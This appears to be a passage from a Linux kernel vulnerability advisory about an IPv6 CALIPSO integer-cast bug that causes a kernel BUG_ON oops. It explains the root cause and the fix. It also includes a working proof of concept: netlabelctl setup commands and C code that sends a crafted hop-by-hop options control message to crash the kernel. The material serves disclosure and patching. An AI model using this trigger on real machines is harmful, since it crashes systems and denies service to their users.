following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg->cmsg_len = cmsg_len;\n        cmsg->cmsg_level = IPPROTO_IPV6;\n        cmsg->cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);","Type":"Description","Title":"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_seta"}]}}}
